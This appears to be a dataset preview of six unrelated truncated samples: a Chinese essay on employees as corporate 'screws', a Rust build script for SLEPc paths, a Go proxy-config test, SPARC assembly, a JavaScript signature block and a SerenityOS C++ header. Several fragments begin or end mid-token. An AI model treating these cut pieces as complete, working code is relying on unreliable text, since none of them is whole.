每个人都举足轻重。事实上,不管你是清北名校毕业光环加持,还是二三本拼搏多年进入大平台,公司想要的结果其实都一样。 公司希望每个一线的员工坚守着自己一亩三分地,不需要你把控全局,不需要你战略思考,只要努力地当好螺丝钉。 每个人手上分到一小块工作,然后在未来的很长一段时间内,不断地重复着这个工作,成为这个小模块的“专家”。 负责个性化皮肤的,可能几年内都在钻研怎么把更多皮肤卖出去;写文案的,长年累月地追着微博热点写文章;做渠道运营的,风雨无阻地盯着各个渠道把自己的广告上线…… 并不是说公司不重视个人创造力,恰恰相反,公司希望的是大家发挥创造力,把自己变成更可靠的螺丝钉,成为一个更靠谱的零部件。全公司上下形成一股合力,用军队的方式...
Markdown
:var("SLEPC_DIR").unwrap(), String::from("include")] .iter() .collect(); let slepc_arch_include_dir: PathBuf = [ env::var("SLEPC_DIR").unwrap(), env::var("PETSC_ARCH").unwrap(), String::from("include"), ] .iter() .collect(); let slepc_lib_dir: PathBuf = [ ...
Rust
(t, ars.Spec.Proxy.HTTPS) assert.Equal(t, "https://proxy.example.com", ars.Spec.Proxy.HTTPS.Url) assert.Equal(t, "https-secret", ars.Spec.Proxy.HTTPS.CredentialSecretRef) require.NotNil(t, ars.Spec.Proxy.NoProxy) require.Len(t, ars.Spec.Proxy.NoProxy, 2) assert.Contains(t, ars.Spec.Proxy.NoProxy, "example.com") ...
Go
efined(LT) || defined(RN) sra KK, 2, L mov B, BO cmp L, 0 #else #ifdef LN sll K, 2 + BASE_SHIFT, TEMP1 sub AORIG, TEMP1, AORIG #endif sll KK, 2 + BASE_SHIFT, TEMP1 sll KK, 0 + BASE_SHIFT, TEMP2 add AORIG, TEMP1, AO add B, TEMP2, BO sub K, KK, TEMP1 sra TEMP1, 2, L cmp L, 0 #endif LDF [AO + 0 *...
Assembly
Wna6CQiturglCOMyIy/6hu5rMFvqk9A // SIG // ltIJ0fSR5FwljW6PHHDJNbCWrZkaEgIn24M2mG1M/Ppb // SIG // /iF8uRhbgJi5zWxo2nAdyDBqWvpWxYIoee/3yIWpquVY // SIG // cYGhJp/1I1sq/nD4gBVrk1SKX7Do2xAMMO+cFETTNSJq // SIG // fTSSsntTtuBLKRB5mw5qglHKuzapDiiBuD1Zt4QwxA/1 // SIG // kKcyQ5L7uBayG78kxlVNNbyrIOFH3HYmdH0Pv1dIX/Mq // SIG // 7av...
JavaScript
/* * Copyright (c) 2018-2023, Andreas Kling <kling@serenityos.org> * * SPDX-License-Identifier: BSD-2-Clause */ #pragma once #include <AK/OwnPtr.h> #include <AK/Vector.h> #include <AK/WeakPtr.h> #include <LibGUI/Forward.h> #include <LibGUI/Margins.h> #include <LibGUI/Object.h> #include <LibGUI/UIDimensions.h> #in...
C